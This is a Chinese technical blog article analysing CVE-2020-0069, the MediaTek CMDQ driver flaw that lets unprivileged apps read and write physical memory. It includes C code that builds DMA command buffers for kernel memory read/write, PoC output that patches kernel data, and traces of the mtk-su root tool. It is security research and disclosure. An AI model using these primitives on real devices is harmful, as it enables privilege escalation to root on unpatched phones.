热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

曾在野外稳定利用的严重漏洞:MediaTek驱动程序任意内存读写漏洞分析

 前言2020年3月,Google修复了一个严重的漏洞,该漏洞影响许多基于MediaTek(联发科技)的设备。该漏洞在2019年4月被提交至厂商,厂商花费了10个月之久才实现修复,而在等待修复期间在野

 

前言

2020年3月,Google修复了一个严重的漏洞,该漏洞影响许多基于MediaTek(联发科技)的设备。该漏洞在2019年4月被提交至厂商,厂商花费了10个月之久才实现修复,而在等待修复期间在野外被利用。在本文中,我们将对该漏洞进行详细分析,并展示如何利用该漏洞来实现内核内存的读写。
该漏洞允许没有权限的本地攻击者读写系统内存,从而导致特权提升。甚至,还有一个名为mtksu的漏洞利用二进制文件,可以导致众多受到漏洞影响的设备提升至root权限,该漏洞利用方式是在2019年开发的。在撰写本文时,关于该漏洞仅有很少的公开信息。因此,我们决定对这一漏洞开展深入的研究。

 

关于CVE-2020-0069

根据MediaTek的官方公告,该漏洞导致本地攻击者可以实现对物理内存地址的任意读取或写入,从而实现特权提升。受漏洞影响的模块是MediaTek Command Queue驱动程序(CMDQ驱动程序)。使用驱动程序上的IOCTL,攻击者将可以分配DMA(直接内存访问)缓冲区,并向DMA硬件发送命令,以使其能够读写物理地址。
需要说明的是,直接内存访问是一项可以允许特定硬件直接从主内存(RAM)发送或接收数据的功能,其目的是通过允许较大内存访问的方式来占用较少的CPU资源完成任务,从而加快系统速度。该驱动程序似乎允许从用户区域与DMA控制器进行通信,以实现与媒体或显示相关的任务。
该漏洞已经影响了超过10个SoC(片上系统,System on Chip),从而影响许多的设备。我们已经发现,可以在小米红米6A设备上(使用联发科技MT6762M片上系统)利用该漏洞。

 

CMDQ驱动程序

目前在互联网上,可以找到这个驱动程序多个版本的源代码。在我们此次研究过程中,我们主要使用了小米红米6A开源内核。该驱动程序的实现可以在drivers/misc/mediatek/cmdq找到。根据SoC的不同,关联的设备驱动程序可以是/dev/mtk-cmdq或/proc/mtk-cmdq,并且在未经过任何允许的情况下可以被任意应用程序利用。
如前所述,可以使用IOCTL syscall由用户区域控制驱动程序。

#define CMDQ_IOCTL_EXEC_COMMAND _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 3,
struct cmdqCommandStruct)
#define CMDQ_IOCTL_QUERY_USAGE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 4,
struct cmdqUsageInfoStruct)
/* */
/* Async operations */
/* */
#define CMDQ_IOCTL_ASYNC_JOB_EXEC _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 5,
struct cmdqJobStruct)
#define CMDQ_IOCTL_ASYNC_JOB_WAIT_AND_CLOSE _IOR(CMDQ_IOCTL_MAGIC_NUMBER, 6,
struct cmdqJobResultStruct)
#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 7,
struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_FREE_WRITE_ADDRESS _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 8,
struct cmdqWriteAddressStruct)
#define CMDQ_IOCTL_READ_ADDRESS_VALUE _IOW(CMDQ_IOCTL_MAGIC_NUMBER, 9,
struct cmdqReadAddressStruct)

根据可用的操作,我们将主要研究以下内容:
1、CMDQ_IOCTL_ALLOC_WRITE_ADDRESS用于分配DMA缓冲区,并以结构cmdqWriteAddressStruct作为参数;
2、CMDQ_IOCTL_FREE_WRITE_ADDRESS用于释放先前分配的DMA缓冲区;
3、CMDQ_IOCTL_EXEC_COMMAND允许将命令缓冲区发送到DMA控制器,并使用结构cmdqCommandStruct作为参数;
4、CMDQ_IOCTL_READ_ADDRESS_VALUE可用于读取DMA缓冲区值。


分配DMA缓冲区

在调用CMDQ_IOCTL_ALLOC_WRITE_ADDRESS时,我们提供了一个cmdqWriteAddressStruct结构,该结构在字段计数中包含请求的缓冲区大小。我们在startPA字段中得到了一个物理地址,但无法直接从用户区域访问该地址。要访问这一内存区域,我们可以使用CMDQ_IOCTL_EXEC_COMMAND。
通过从先前的分配中调用带有结构cmdqWriteAddressStruct的CMDQ_IOCTL_FREE_WRITE_ADDRESS,可以释放DMA缓冲区。


执行命令

CMDQ_IOCTL_EXEC_COMMAND使用结构cmdqCommandStruct作为参数。

struct cmdqCommandStruct {
[...]
/* [IN] pointer to instruction buffer. Use 64-bit for compatibility. */
/* This must point to an 64-bit aligned u32 array */
cmdqU32Ptr_t pVABase;
/* [IN] size of instruction buffer, in bytes. */
u32 blockSize;
/* [IN] request to read register values at the end of command */
struct cmdqReadRegStruct regRequest;
/* [OUT] register values of regRequest */
struct cmdqRegValueStruct regValue;
/* [IN/OUT] physical addresses to read value */
struct cmdqReadAddressStruct readAddress;
[...]

如前所述,这个IOCTL允许发送将要由DMA控制器执行的命令。这些命令位于用户区域缓冲区中,其地址位于字段pVABase,其大小位于字段blockSize中。
命令执行完成后,命令结构的readAddress字段可以用于从DMA缓冲区中读取值。字段readAddress.dmaAddresses指向一个用户区域缓冲区,其中包含来自我们的DMA缓冲区的地址。其大小由字段readAddress.count引用。内核将读取所有地址,并将这些值放置在由readAddress.values字段指向的用户区域缓冲区中。
也可以使用IOCTL命令CMDQ_IOCTL_READ_ADDRESS_VALUE来读取DMA缓冲区。


命令说明

命令由两个32位字组成,并使用命令代码进行标识。

enum cmdq_code {
CMDQ_CODE_READ = 0x01,
CMDQ_CODE_MASK = 0x02,
CMDQ_CODE_MOVE = 0x02,
CMDQ_CODE_WRITE = 0x04,
CMDQ_CODE_POLL = 0x08,
CMDQ_CODE_JUMP = 0x10,
CMDQ_CODE_WFE = 0x20,
CMDQ_CODE_EOC = 0x40,
[...]

下面是我们将要使用的一些命令的描述。
CMDQ_CODE_WRITE和CMDQ_CODE_READ

Write命令用于将数据寄存器中的值写入地址寄存器中的地址。Read命令读取地址寄存器所指向地址的值,并将结果放入数据寄存器中。
根据可选位(图中的TYPE A和TYPE B),可以根据位于REG NUMBER字段中名为subsysID的值和位于VALUE字段中的偏移量来计算地址。随后,将使用内核DTS中引用的实际物理地址替换subsysID。
CMDQ_CODE_MOVE

该命令允许将一个值(最多48位)放入寄存器中。该值可以放置在数据寄存器或地址寄存器中,并且可以是任何数据或地址。而在这一过程中,并未对地址进行检查,这可能将导致严重的问题。
CMDQ_CODE_WFE

WFE代表等待事件(Wait For Event)并清除。根据我们的理解,我们可以使用它来阻止某些寄存器的使用,就如同我们使用互斥锁一样。与该命令一起使用的事件标志与我们将在命令缓冲区中使用的一种寄存器相关联。例如,对于寄存器CMDQ_DATA_REG_DEBUG(R7)和CMDQ_DATA_REG_DEBUG_DST(P11),必须使用事件(或在源代码中调用的令牌)CMDQ_SYNC_TOKEN_GPR_SET_4。我们需要在每个命令缓冲区的开头和结尾使用WFE命令。
CMDQ_CODE_EOC
EOC表示命令结束。必须将其放置在CMDQ_CODE_WFE命令之后每个命令缓冲区的末尾,以指示命令列表的结束。其中似乎包含许多标志,但是在我们所使用的场景中,我们似乎只需要设置IRQ标志中的内容即可。
CMDQ_CODE_JUMP
根据源代码的评论区,它允许使用偏移量JUMP到命令缓冲区。在命令CMDQ_CODE_JUMP之后,我们在每个命令缓冲区的末尾使用该命令,将会始终跳转到偏移量0x8,也就是上一条命令。我们的理论是,预读取(Prefetch)机制是在DMA控制器中实现的,并且该命令确保将CMDQ_CODE_EOC命令考虑在内。


寄存器

在命令描述中,我们提到了寄存器,一共有两种寄存器,分别是:
由32位组成的值寄存器(从R0到R15);
由64位组成的地址寄存器(从P0到P7)。

enum cmdq_gpr_reg {
/* Value Reg, we use 32-bit */
/* Address Reg, we use 64-bit */
/* Note that R0-R15 and P0-P7 actually share same memory */
/* and R1 cannot be used. */
CMDQ_DATA_REG_JPEG = 0x00, /* R0 */
CMDQ_DATA_REG_JPEG_DST = 0x11, /* P1 */
CMDQ_DATA_REG_PQ_COLOR = 0x04, /* R4 */
CMDQ_DATA_REG_PQ_COLOR_DST = 0x13, /* P3 */
CMDQ_DATA_REG_2D_SHARPNESS_0 = 0x05, /* R5 */
CMDQ_DATA_REG_2D_SHARPNESS_0_DST = 0x14, /* P4 */
CMDQ_DATA_REG_2D_SHARPNESS_1 = 0x0a, /* R10 */
CMDQ_DATA_REG_2D_SHARPNESS_1_DST = 0x16, /* P6 */
CMDQ_DATA_REG_DEBUG = 0x0b, /* R11 */
CMDQ_DATA_REG_DEBUG_DST = 0x17, /* P7 */

实现驱动程序漏洞利用

至此,我们已经对驱动程序的工作原理有了更深入的了解,接下来,我们将分析如何实现基本的内存读写。


内存写入

要在内存中写入32位值,我们可以使用以下命令:
1、将32位值移动到值寄存器中;
2、将想要将其值放入地址寄存器的地址,移动到该地址;
3、将值寄存器中的值,写入到地址寄存器中的地址。

// move value into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = value;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE <<24 | 1 <<23
| CMDQ_DATA_REG_DEBUG <<16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE <<24 | 1 <<23
| CMDQ_DATA_REG_DEBUG_DST <<16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE <<24 | 3 <<22
| CMDQ_DATA_REG_DEBUG_DST <<16;
command->blockSize += 8;


内存读取

要在内存中读取32位值,我们可以使用以下四个命令:
1、将要读取的地址(pa_address)移动到地址寄存器中;
2、将地址寄存器指向的地址处的数据读取到值寄存器中;
3、将DMA缓冲区地址(dma_address)移动到地址寄存器中;
4、将值寄存器中的数据写入地址寄存器中的地址。
我们需要将这些命令放置在结构cmdqCommandStruct的pVABase字段中先前分配的缓冲区里。命令缓冲区的大小必须放置在字段blockSize中。

// move pa_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)pa_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE <<24 | 1 <<23
| CMDQ_DATA_REG_DEBUG_DST <<16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
// read value at CMDQ_DATA_REG_DEBUG_DST into CMDQ_DATA_REG_DEBUG
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_READ <<24 | 3 <<22
| CMDQ_DATA_REG_DEBUG_DST <<16;
command->blockSize += 8;
// move dma_address into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = (uint32_t)dma_address;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_MOVE <<24 | 1 <<23
| CMDQ_DATA_REG_DEBUG_DST <<16
| (pa_address + offset) >> 0x20;
command->blockSize += 8;
//write CMDQ_DATA_REG_DEBUG into CMDQ_DATA_REG_DEBUG_DST
*(uint32_t*)(command->pVABase + command->blockSize) = CMDQ_DATA_REG_DEBUG;
*(uint32_t*)(command->pVABase + command->blockSize + 4) = CMDQ_CODE_WRITE <<24 | 3 <<22
| CMDQ_DATA_REG_DEBUG_DST <<16;

然后,我们通过填充readAddress字段,来通知驱动程序我们需要读取DMA缓冲区中的值:

*(uint32_t*)((uint32_t)command->readAddress.dmaAddresses) = dma_address;
command->readAddress.count = offset;

该结果将写入到readAddress.values中,该地址必须事先分配。


简单的PoC

要确定内核使用的物理地址,可以使用设备的/proc/iomem(需要root权限)。

# cat /proc/iomem
[...]
40000000-545fffff : System RAM
40008000-415fffff : Kernel code
41800000-41d669b3 : Kernel data
[...]

这些地址是静态配置的,在每次引导启动时都会保持不变。
PoC由两个程序组成:
1、一个允许对基础内存进行读写的C程序;
2、一个Shell脚本,该脚本调用上一个程序,在内核数据存储器中搜索“Linux”字符串的第一个匹配项,然后将其替换为“minix”。

$ uname -a
Linux localhost 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l
$ sh poc.sh
[+] Found Linux string at 0x4180bc00
[+] Found Linux string at 0x4180bea0
[+] Write the patched value
$ uname -a
minix 4.9.77+ #1 SMP PREEMPT Mon Jan 21 18:32:19 WIB 2019 armv7l

这样的PoC非常有用,我们现在已经能够读写内核数据存储器。并且,我们已经可以对任何其他系统内存区域执行相同的操作,从而绕过系统中已有的权限和保护。因此,除了进行简单的尝试之外,我们还可以利用这个漏洞来修改系统内存中的任何地方,例如内核代码和数据,以实现特权提升。
二进制mtk-su使用该漏洞,在内核内存中执行了很多有趣的工作,从而实现了以root身份执行命令。在本文中,我们将不会提供有关如何使用mtk-su这些内核漏洞利用方式的更多详细信息。但是,作为安全研究人员,可以首先尝试分析我们编写的小型追踪库。启动mtk-su时必须预先加载它,并且它将跟踪CMDQ驱动程序的某些IOCTL,例如发送给驱动程序的命令。

$ mkdir mtk-su
$ LD_PRELOAD=./syscall-hook.so ./mtk-su
alloc failed
alloc count=400 startPA=0x5a733000
uncatched ioctl 40e07803
exec command (num 0) ( blockSize=8040, readAddress.count=0 ) dumped into cmd-0
exec command (num 1) ( blockSize=3e0, readAddress.count=1e ) dumped into cmd-1
[...]
$ cat mtk-su/cmd-1
WFE to_wait=1, wait=1, to_update=1, update=0, event=1da
MOVE 40928000 into reg 17
READ address reg 17, data reg b
[...]

上述PoC和追踪库可以在Quarkslab的GitHub上找到:CVE-2020-0069_poc。

 

总结

这个漏洞危害程度较大,基本上可以允许任意应用程序读取或写入所有系统内存,其中也包括内核内存。我们可能想要知道为什么每个应用程序都需要访问该设备驱动程序,而不仅仅是HAL(硬件抽象层)和与媒体相关的进程才能访问。至少需要进行一个额外的步骤,才能从不具有特权的应用程序中获取root用户权限。
根据Fire HD 8 Linux内核的源代码,目前已经通过解析命令缓冲区中的所有命令来验证每个命令以及所使用的地址和寄存器,以此来修复漏洞。例如,这样就只能允许将DMA缓冲区中的地址移动到地址寄存器。
由于我们并非该漏洞的发现者,因此我们没有与MediaTek讨论过这一漏洞的详细细节。但是,从技术角度来看,我们认为修复这一漏洞的工作量并不需要花费这么长的时间。根据XDA开发者发表的文章,MediaTek自从2019年5月以来就开始进行修复,但花了10个月的时间才在最终用户设备中对该漏洞进行广泛修复。这是Android生态系统中补丁程序管理复杂性的一个很好的例子,所有的参与者(包括SoC制造商、OEM、ODM)都需要共同行动,才能在最终用户的设备上实现漏洞修复。最后,似乎只有法律层面才能迫使所有这些参与者积极修复漏洞。
现在,我们可能想知道,是否所有嵌入了MediaTek SoC并且没有集成Android许可协议的AOSP OS版本的设备是否应用了这一漏洞修复,这部分厂商没有法律义务来集成此漏洞修复。

参考文章

[1] https://source.android.com/security/bulletin/2020-03-01
[2] https://forum.xda-developers.com/android/development/amazing-temp-root-mediatek-armv8-t3922213
[3] https://www.xda-developers.com/files/2020/03/CVE-2020-0069.png
[4] https://github.com/MiCode/Xiaomi_Kernel_OpenSource/tree/cactus-p-oss
[5] https://www.amazon.com/gp/help/customer/display.html?tag=androidpolice-20&nodeId=200203720
[6] https://www.xda-developers.com/mediatek-su-rootkit-exploit/


推荐阅读
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 在Docker中,将主机目录挂载到容器中作为volume使用时,常常会遇到文件权限问题。这是因为容器内外的UID不同所导致的。本文介绍了解决这个问题的方法,包括使用gosu和suexec工具以及在Dockerfile中配置volume的权限。通过这些方法,可以避免在使用Docker时出现无写权限的情况。 ... [详细]
  • Linux如何安装Mongodb的详细步骤和注意事项
    本文介绍了Linux如何安装Mongodb的详细步骤和注意事项,同时介绍了Mongodb的特点和优势。Mongodb是一个开源的数据库,适用于各种规模的企业和各类应用程序。它具有灵活的数据模式和高性能的数据读写操作,能够提高企业的敏捷性和可扩展性。文章还提供了Mongodb的下载安装包地址。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • STM32 IO口模拟串口通讯
    转自:http:ziye334.blog.163.comblogstatic224306191201452833850647前阵子,调项目时需要用到低波 ... [详细]
  • x86 linux的进程调度,x86体系结构下Linux2.6.26的进程调度和切换
    进程调度相关数据结构task_structtask_struct是进程在内核中对应的数据结构,它标识了进程的状态等各项信息。其中有一项thread_struct结构的 ... [详细]
  • Iwanttointegratesort,order,maxandoffsetinafindAllquery.Thefollowingworksfine:我想在fin ... [详细]
  • 本文讨论了一个数列求和问题,该数列按照一定规律生成。通过观察数列的规律,我们可以得出求解该问题的算法。具体算法为计算前n项i*f[i]的和,其中f[i]表示数列中有i个数字。根据参考的思路,我们可以将算法的时间复杂度控制在O(n),即计算到5e5即可满足1e9的要求。 ... [详细]
  • Android工程师面试准备及设计模式使用场景
    本文介绍了Android工程师面试准备的经验,包括面试流程和重点准备内容。同时,还介绍了建造者模式的使用场景,以及在Android开发中的具体应用。 ... [详细]
  • 腾讯安全平台部招聘安全工程师和数据分析工程师
    腾讯安全平台部正在招聘安全工程师和数据分析工程师。安全工程师负责安全问题和安全事件的跟踪和分析,提供安全测试技术支持;数据分析工程师负责安全产品相关系统数据统计和分析挖掘,通过用户行为数据建模为业务决策提供参考。招聘要求包括熟悉渗透测试和常见安全工具原理,精通Web漏洞,熟练使用多门编程语言等。有相关工作经验和在安全站点发表作品的候选人优先考虑。 ... [详细]
  • 深入解析Linux下的I/O多路转接epoll技术
    本文深入解析了Linux下的I/O多路转接epoll技术,介绍了select和poll函数的问题,以及epoll函数的设计和优点。同时讲解了epoll函数的使用方法,包括epoll_create和epoll_ctl两个系统调用。 ... [详细]
  • AFNetwork框架(零)使用NSURLSession进行网络请求
    本文介绍了AFNetwork框架中使用NSURLSession进行网络请求的方法,包括NSURLSession的配置、请求的创建和执行等步骤。同时还介绍了NSURLSessionDelegate和NSURLSessionConfiguration的相关内容。通过本文可以了解到AFNetwork框架中使用NSURLSession进行网络请求的基本流程和注意事项。 ... [详细]
  • 本文介绍了SPOJ2829题目的解法及优化方法。题目要求找出满足一定条件的数列,并对结果取模。文章详细解释了解题思路和算法实现,并提出了使用FMT优化的方法。最后,对于第三个限制条件,作者给出了处理方法。文章最后给出了代码实现。 ... [详细]
  • linux进阶50——无锁CAS
    1.概念比较并交换(compareandswap,CAS),是原⼦操作的⼀种,可⽤于在多线程编程中实现不被打断的数据交换操作࿰ ... [详细]
  • 第七课主要内容:多进程多线程FIFO,LIFO,优先队列线程局部变量进程与线程的选择线程池异步IO概念及twisted案例股票数据抓取 ... [详细]
author-avatar
瞬间的永恒2502931493
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有